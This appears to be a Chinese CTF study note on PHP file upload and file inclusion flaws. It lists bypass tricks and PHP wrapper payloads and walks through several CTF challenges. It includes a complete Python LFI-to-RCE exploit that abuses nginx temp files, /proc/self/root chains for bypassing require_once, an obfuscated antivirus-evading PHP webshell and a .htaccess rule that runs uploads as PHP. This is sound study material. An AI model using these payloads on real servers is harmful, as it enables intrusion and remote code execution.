文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
webshell
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
文件上传常见绕过
前端JS类检验绕过
MIME验证绕过
特殊后缀绕过
.htaccess解析绕过
大小写绕过
空格绕过
点绕过
::$DATA绕过
双写后缀绕过
%00截断绕过
二次渲染绕过
条件竞争
apache后缀解析
文件包含漏洞
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
本地文件包含漏洞(LFI)
能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
远程文件包含(RFI)
如果PHP的配置选项allow_url_include
、allow_url_fopen
状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
PHP伪协议
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
php://filter用于读取源码。
php://input用于执行php代码。
php://filter/convert.base64-encode/resource=文件路径
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
转换过滤器:(非常重要)
/?file=php://filter/convert.iconv.UTF-8.UCS-2/resource=/flag
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
String过滤器
string.rot13
string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
php://filter/string.toupper/resource=flag.php
string.toupper
string.toupper 将字符串转化为大写
php://filter/string.toupper/resource=flag.php
string.tolower
string.toupper 将字符串转化为小写
php://filter/string.tolower/resource=flag.php
string.strip_tags
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除。
php://filter/string.strip_tags/resource=flag.php
Conversion Filters(转换过滤器)
convert.base64-encode & convert.base64-decode(重要)
这个过滤器经常使用,base64加密encode,解密decode
php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode
quoted_printable_encode() 函数把 8 位字符串转换为 quoted-printable 字符串。
quoted_printable_decode() 对经过 quoted-printable 编码后的字符串进行解码,返回 8 位的 ASCII 字符串
php://filter/convert.quoted-printable-encode/resource=flag.php
convert.iconv.*(很重要)
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()
函数处理所有的流数据。(好像7.3之后就废弃了?)
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
<input-encoding>和<output-encoding>
就是编码方式,有如下几种;
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
把flag.php的内容从UTF-8编码转换为UCS-2
编码
/?file=php://filter/convert.iconv.UTF-8.UCS-2/resource=/flag
Compression Filters(压缩过滤器)
zlib.deflate(压缩)和 zlib.inflate(解压)
zlib.deflate(压缩)
php://filter/zlib.deflate/resource=flag.php
zlib.inflate(解压)
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
Encryption Filters(加密过滤器)
mcrypt.*
和 mdecrypt.*
使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername
,其中 ciphername
是密码的名字,将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用:
例题演示
[HNCTF 2022 WEEK2]easy_include(Nginx日志)
考察知识点:nginx日志的文件包含
发现没有进行php伪协议的过滤,我们打开数据请求包
发现服务器为nginx
通过访问日志可以得到一些信息,比如ip地址,请求处理时间的信息,错误信息等,在我查了一些资料后发现,Nginx日志有两种,一种是access.log,一种是error.log
两种日志中的信息不同,access.log中的信息是一些ip地址,浏览器的信息,称作访问日志;
error.log称为错误日志,也就是说里面是一些错误访问的信息,可以帮助修改错误
那么怎么访问这两种日志,一般都是存在于/var/log/nginx的目录下,比如访问目录就是/var/log/nginx/access.log
那我们就先访问这个日志,我们再进行写入一句话木马,flag在底下
?file=/var/log/nginx/access.log
这道题试了好多次flag才出来
[HXPCTF 2021]includer‘s revenge
前置知识
www-data用户在nginx可写的目录如下
/var/lib/nginx/scgi
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/proxy
/var/lib/nginx/fastcgi
/var/log/nginx/access.log
/var/log/nginx/error.log
其中发现 /var/lib/nginx/fastcgi 目录是 Nginx 的 http-fastcgi-temp-path,此目录下可以通过nginx产生临时文件,格式为:/var/lib/nginx/fastcgi/x/y/0000000yx
那这临时文件用来干嘛呢?通过阅读 Module ngx_http_fastcgi_module (nginx.org)部分
我们大致可以知道Nginx 接收来自 FastCGI 的响应 如果内容过大,那它的一部分就会被存入磁盘上的临时文件,而这个阈值大概在 32KB 左右。超过阈值,就在/var/lib/nginx/fastcgi 下产生了临时文件
但是几乎 Nginx 是创建完文件就立即删除了,也就是说产生临时文件但被删除导致我们无法查看,我们该怎么解决呢,解决办法如下
竞争包含
如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?这种情况下我们还是可以在对应的 /proc/PID/fd 下找到我们删除的文件 ,虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们可以直接用php 进行文件包含。
所以到这里我们可以有了一个大概的想法:竞争包含 proc 目录下的临时文件。但是最后一个问题就是,既然我们要去包含 Nginx 进程下的文件,我们就需要知道对应的 pid 以及 fd 下具体的文件名,怎么才能获取到这些信息呢?
这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了,这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。
而进程间比较容易区别的就是通过 /proc/cmdline ,如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process 即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。
当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker Pid 数量以及 CPU 数量来校验我们大概找的对不对。
那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。
绕过include_once限制
参考文章
利用/proc/self/root/
是指向/的符号链接
f = f'/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/{pid}/fd/{fd}'
or
f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'
解题过程
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
分析一下
($_GET['action'] ?? 'read'):这一部分首先尝试从 URL 查询参数中获取名为 ‘action’的参数值($_GET['action']),如果该参数不存在,则使用默认值 ‘read’。这是通过使用 PHP 7 中的空合并运算符?? 来实现的,它会检查左侧的表达式是否为 null,如果是则使用右侧的默认值。
=== 'read':这是一个相等性比较,它检查上述表达式的结果是否严格等于字符串 ‘read’。如果是 ‘read’,则条件为真,否则条件为假。
? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');:这是一个三元条件运算符,根据前面的条件表达式的结果来执行不同的操作。
如果条件为真(即 ‘action’ 参数等于 ‘read’),则执行 readfile($_GET['file'] ?? 'index.php'),它会读取并输出指定文件的内容。如果 URL 中没有 ‘file’ 参数,它会默认读取 ‘index.php’ 文件的内容。
如果条件为假(即 ‘action’ 参数不等于 ‘read’),则执行 include_once($_GET['file'] ?? 'index.php'),它会包含指定的文件。同样,如果 URL 中没有 ‘file’ 参数,它会默认包含 ‘index.php’ 文件。
整理一下思路:
让后端 php 请求一个过大的文件
Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
payload
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
# ./xxx.py ip port
# URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
URL = "http://node4.anna.nssctf.cn:28752/"
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET[\'cmd\']); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'cmd': f'/readflag', #命令,如ls
'action':'1' #这题要加这个,原脚本没加
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
[NSSRound#8 Basic]MyPage
/读取文件源码
file=php://filter/read=convert.base64-encode/resource=index.php
显示:空白一片
file=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php
显示:error.
//写入一句话木马
file=php://input
<?php phpinfo();?>
显示:error.
猜测是require_oncc(),尝试绕过它
(require_once(),如果文件已包含,则不会包含,会生成致命错误(E_COMPILE_ERROR)并停止脚本)
搜索绕过方法:
先来了解一下PHP文件包含机制:
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过include_once限制。
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接 cwd 文件是一个指向当前进程运行目录的符号链接 /proc/self/cwd 返回当前文件所在目录
尝试配合读取文件源码的伪协议绕过
payload:
http://node5.anna.nssctf.cn:26847/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
进行base64解密得到
过滤了许多协议,我们尝试直接读取flag.php文件
/index.php?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
[SWPUCTF 2021 新生赛]easyupload3.0
考察:.htaccess绕过
先上传个xx.jpg文件,再上传.htaccess文件
xx.jpg文件内容:放上免杀马
<?php class ZHJF{ function __destruct(){ $yek='e'^"\x4"; $rsj='H'^"\x3b"; $yht='y'^"\xa"; $vgk='%'^"\x40"; $kno='L'^"\x3e"; $jvp='C'^"\x37"; $QPWK=$yek.$rsj.$yht.$vgk.$kno.$jvp; return @$QPWK("$this->QA");}} $zhjf=new ZHJF(); @$zhjf->QA=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']; ?>
.htaccess文件内容:
<IfModule mime_module> AddType application/x-httpd-php .gif </IfModule>
上传jpg文件之后,我们将filename修改即可
最后访问jpg文件路径,用蚁剑连接
flag在app目录下